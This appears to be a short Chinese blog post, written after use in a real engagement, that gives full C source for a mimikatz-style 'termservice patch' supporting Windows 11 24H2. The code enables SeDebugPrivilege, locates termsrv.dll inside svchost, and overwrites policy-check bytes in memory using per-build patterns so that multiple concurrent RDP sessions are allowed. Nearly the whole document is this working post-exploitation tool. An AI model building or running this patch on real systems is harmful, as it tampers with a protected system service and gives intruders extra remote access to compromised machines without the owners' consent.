mimikatz termservice patch

前言:实战中碰到了,这边记录下mimikatz termservice patch笔记,支持W11_24H2的机器

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <psapi.h>


typedef struct _MEMORY_SEARCH {
    MEMORY_BASIC_INFORMATION mbi;
    SIZE_T size;
} MEMORY_SEARCH, *PMEMORY_SEARCH;

typedef struct _PATCH_PATTERN {
    DWORD Length;
    BYTE *Pattern;
} PATCH_PATTERN, *PPATCH_PATTERN;

typedef struct _PATCH_OFFSETS {
    LONG off0;
} PATCH_OFFSETS, *PPATCH_OFFSETS;

typedef struct _PATCH_GENERIC {
    DWORD MinBuildNumber;
    PATCH_PATTERN Search;
    PATCH_PATTERN Patch;
    PATCH_OFFSETS Offsets;
} PATCH_GENERIC, *PPATCH_GENERIC;

typedef struct _dll_info
{
    int pid;
    byte * dll_addr;
    int dll_size;
} dll_info;

BYTE PTRN_WN60_Query__CDefPolicy[] = {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x75};
BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x39, 0x87, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84};
BYTE PTRN_WN81_Query__CDefPolicy[] = {0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84};
BYTE PTRN_W10_1803_Query__CDefPolicy[] = {0x8b, 0x99, 0x3c, 0x06, 0x00, 0x00, 0x8b, 0xb9, 0x38, 0x06, 0x00, 0x00, 0x3b, 0xdf, 0x0f, 0x84};
BYTE PTRN_W10_1809_Query__CDefPolicy[] = {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84};
BYTE PTRN_W11_24H2[] =                   {0x8B, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3C, 0x06, 0x00, 0x00, 0x75};
BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb};
BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90};
BYTE PATC_WN81_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90};
BYTE PATC_W10_1803_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90, 0x90, 0xe9};
BYTE PATC_W10_1809_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
BYTE PATC_W11_23H2[] = {0xB8, 0x00, 0x01, 0x00, 0x00, 0x89, 0x81, 0x38, 0x06, 0x00, 0x00, 0x90};
BYTE PATC_W11_24H2[] = {0xB8, 0x00, 0x01, 0x00, 0x00, 0x89, 0x81, 0x38, 0x06, 0x00, 0x00, 0x90, 0xEB};

BYTE PTRN_WIN5_TestLicence[]		= {0x83, 0xf8, 0x02, 0x7f};
BYTE PATC_WIN5_TestLicence[]		= {0x90, 0x90};

PATCH_GENERIC TermSrvMultiRdpReferences[] = {
    {2600/*Win XP*/, {sizeof(PTRN_WIN5_TestLicence),PTRN_WIN5_TestLicence},{sizeof(PATC_WIN5_TestLicence),	PATC_WIN5_TestLicence},{3}},
    {6000/*VISTA*/, {sizeof(PTRN_WN60_Query__CDefPolicy), PTRN_WN60_Query__CDefPolicy}, {sizeof(PATC_WN60_Query__CDefPolicy), PATC_WN60_Query__CDefPolicy}, {0}},
    {7600/*Win_7*/, {sizeof(PTRN_WN6x_Query__CDefPolicy), PTRN_WN6x_Query__CDefPolicy}, {sizeof(PATC_WN6x_Query__CDefPolicy), PATC_WN6x_Query__CDefPolicy}, {0}},
    {9600/*Win8*/, {sizeof(PTRN_WN81_Query__CDefPolicy), PTRN_WN81_Query__CDefPolicy}, {sizeof(PATC_WN81_Query__CDefPolicy), PATC_WN81_Query__CDefPolicy}, {0}},
    {17134/*Win_10_1803*/, {sizeof(PTRN_W10_1803_Query__CDefPolicy), PTRN_W10_1803_Query__CDefPolicy}, {sizeof(PATC_W10_1803_Query__CDefPolicy), PATC_W10_1803_Query__CDefPolicy}, {0}},
    {17763/*Win_10_1803*/, {sizeof(PTRN_W10_1809_Query__CDefPolicy), PTRN_W10_1809_Query__CDefPolicy}, {sizeof(PATC_W10_1809_Query__CDefPolicy), PATC_W10_1809_Query__CDefPolicy}, {0}},
    {22631/*Win_11_23H2*/, {sizeof(PTRN_W11_24H2), PTRN_W11_24H2}, {sizeof(PATC_W11_23H2), PATC_W11_23H2}, {0}},
    {26100/*Win_11_24H2*/, {sizeof(PTRN_W11_24H2), PTRN_W11_24H2}, {sizeof(PATC_W11_24H2), PATC_W11_24H2}, {0}},
};

BOOL PatchMemory(HANDLE hProcess, LPVOID lpBaseAddress, SIZE_T region_size, BYTE *pattern, SIZE_T patternSize, BYTE *patch, SIZE_T patchSize, LONG offset) {
    BYTE *buffer = (BYTE *)malloc(region_size);
    SIZE_T bytesRead;
    BOOL result = FALSE;

    // print pattern to search for
    printf("[*] Pattern to search for: ");
    for (int i = 0; i < patternSize; i++)
    {
        printf("%02x ", pattern[i]);
    }
    printf("\r\n");

    if (ReadProcessMemory(hProcess, lpBaseAddress, buffer, region_size, &bytesRead) && bytesRead == region_size) {
        printf("[+] Read %zu bytes from process\n", bytesRead);

        // write buffer into file C:\temp\buffer.dmp, just for debugging/Checking new offsets
        /*
        FILE *f = fopen("C:\\temp\\buffer.dmp", "wb");
        if (f) {
            fwrite(buffer, 1, bytesRead, f);
            fclose(f);
            printf("Wrote process memory to C:\\temp\\buffer.dmp\n");
        } else {
            printf("Failed to write process memory to C:\\temp\\buffer.dmp\n");
        }
        */

        for (SIZE_T i = 0; i <= region_size - patternSize; i++) {
            if (memcmp(buffer + i, pattern, patternSize) == 0) {
                printf("[+] Found pattern in process memory at offset %zu\n", i);
                DWORD oldProtect;
                if (VirtualProtectEx(hProcess, (LPVOID)((BYTE *)lpBaseAddress + i + offset), patchSize, PAGE_EXECUTE_READWRITE, &oldProtect)) {
                    printf("[+] Patched memory permissions\n");
                    SIZE_T bytesWritten;
                    if (WriteProcessMemory(hProcess, (LPVOID)((BYTE *)lpBaseAddress + i + offset), patch, patchSize, &bytesWritten) && bytesWritten == patchSize) {
                        printf("[+] Patched process memory\n");
                        result = TRUE;
                    }
                    VirtualProtectEx(hProcess, (LPVOID)((BYTE *)lpBaseAddress + i + offset), patchSize, oldProtect, &oldProtect);
                    printf("[+] Restored memory permissions\n");
                }
                break; // Exit the loop after patching
            }
        }
    }

    free(buffer);
    return result;
}

PATCH_GENERIC *GetPatchGenericFromBuild(PATCH_GENERIC *generics, SIZE_T cbGenerics, DWORD buildNumber) {
    PATCH_GENERIC *bestMatch = NULL;
    for (SIZE_T i = 0; i < cbGenerics; i++) {
        if (generics[i].MinBuildNumber <= buildNumber) {
            if (bestMatch == NULL || generics[i].MinBuildNumber > bestMatch->MinBuildNumber) {
                bestMatch = &generics[i];
            }
        }
    }
    return bestMatch;
}


dll_info * get_dll_info(char * dll_name, BOOL verbose)
{
     dll_info * dll;
     dll = malloc(sizeof(dll_info)); 
     HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
     if( hProcessSnap == INVALID_HANDLE_VALUE )
     {
         printf("[-] error CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ...)\n");
         return;
     }
     PROCESSENTRY32 pe32;
     pe32.dwSize = sizeof(PROCESSENTRY32);
     if(! Process32First(hProcessSnap, &pe32) )
     {
          printf("[-] error Process32First()\n");
          return;
     }
     do
     {
         if(! strcmp("svchost.exe", pe32.szExeFile) )
         {
             if(verbose)
                 printf("%s [%d]\n", pe32.szExeFile, pe32.th32ProcessID);
             HANDLE hModuleSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, pe32.th32ProcessID );
             if( hModuleSnap == INVALID_HANDLE_VALUE )
             {
                 printf("[-] error CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, %d)\n", pe32.th32ProcessID);
                 continue;
             }
             MODULEENTRY32 me32;
             me32.dwSize = sizeof(MODULEENTRY32);
             if(! Module32First(hModuleSnap, &me32) )
             {
                 printf("[-] error Module32First()\n");
                 continue;
             }
             do
             {
                 if(verbose)
                     printf("  [0x%08x]\t%s (%d B)\n", me32.modBaseAddr, me32.szModule, me32.modBaseSize);
                 if(! strcmp( dll_name, me32.szModule ) )
                 {
                     dll->pid = pe32.th32ProcessID;
                     dll->dll_addr = me32.modBaseAddr;
                     dll->dll_size = me32.modBaseSize;
                     CloseHandle(hModuleSnap);
                     return dll;
                 }
             }
             while( Module32Next(hModuleSnap, &me32) );
             CloseHandle(hModuleSnap);
         }
     }
     while( Process32Next(hProcessSnap, &pe32) );
     return 0;
}

typedef LONG (WINAPI *RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);

int GetWindowsBuildNumber() {
    HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
    if (hMod) {
        RtlGetVersionPtr pRtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
        if (pRtlGetVersion) {
            RTL_OSVERSIONINFOW rovi = {0};
            rovi.dwOSVersionInfoSize = sizeof(rovi);
            if (pRtlGetVersion(&rovi) == 0) {
                return rovi.dwBuildNumber;
            }
        }
    }
    return -1; // Return -1 if retrieval fails
}
BOOL PatchTermService(PATCH_GENERIC *generics, SIZE_T cbGenerics, PCWSTR moduleName) {
    BOOL result = FALSE;
    DWORD buildNumber = GetWindowsBuildNumber(); // Example build number, replace with actual build number retrieval
    printf("[*] Windows build number: %lu\n", buildNumber);
    PATCH_GENERIC *currentReferences = GetPatchGenericFromBuild(generics, cbGenerics, buildNumber);

    if (currentReferences) {
        printf("[*] Found patch references for build number %lu\n", buildNumber);

        SERVICE_STATUS_PROCESS serviceStatusProcess;
        dll_info * termsrv = get_dll_info( "termsrv.dll", FALSE );
        DWORD processId = termsrv->pid;
        printf("[+] Found TermService with PID %lu\n", processId);

        HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, processId);
        if (hProcess) {
                printf("[+] Opened process with PID %lu\n", processId);

                LPVOID baseAddress = termsrv->dll_addr;
                SIZE_T imageSize = termsrv->dll_size;
                printf("[*] Module base address: %p, size: %zu\n", baseAddress, imageSize);

                MEMORY_BASIC_INFORMATION mbi;
                for (LPBYTE address = (LPBYTE)baseAddress; address < (LPBYTE)baseAddress + imageSize; address += mbi.RegionSize) {
                    if (VirtualQueryEx(hProcess, address, &mbi, sizeof(mbi)) == sizeof(mbi)) {
                        if (mbi.State == MEM_COMMIT && (mbi.Protect == PAGE_EXECUTE_READ || mbi.Protect == PAGE_EXECUTE_READWRITE)) {
                            printf("[*] Checking memory region at address %p, size: %zu\n", address, mbi.RegionSize);
                            if (PatchMemory(hProcess, address,mbi.RegionSize, currentReferences->Search.Pattern, currentReferences->Search.Length, currentReferences->Patch.Pattern, currentReferences->Patch.Length, currentReferences->Offsets.off0)) {
                                printf("[+] \"%ls\" service patched at address %p\n", moduleName, address);
                                result = TRUE;
                                break;
                            }
                        }
                    } else {
                        printf("[-] VirtualQueryEx failed at address %p with error %lu\n", address, GetLastError());
                    }
                }
                    
                CloseHandle(hProcess);
            } else {
                printf("OpenProcess failed with error %lu\n", GetLastError());
            }

    } else {
        printf("No patch references found for build number %lu\n", buildNumber);
    }

    return result;
}


void get_privileges()
{
     HANDLE hProcessToken;
     LUID luid;
     TOKEN_PRIVILEGES priv;
     OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hProcessToken);
     LookupPrivilegeValue(NULL, "SeDebugPrivilege", &luid);
     priv.PrivilegeCount = 1;
     priv.Privileges[0].Luid = luid;
     priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
     AdjustTokenPrivileges( hProcessToken, FALSE, &priv, sizeof(TOKEN_PRIVILEGES), 0, 0 );
}

// main function
int main() {
    get_privileges();
    if (!PatchTermService(TermSrvMultiRdpReferences, ARRAYSIZE(TermSrvMultiRdpReferences), L"termsrv.dll")) {
        printf("[-] Failed to patch service\n");
    }

    return 0;
}
posted @ 2025-02-09 02:03  zpchcbd  阅读(90)  评论(0)    收藏  举报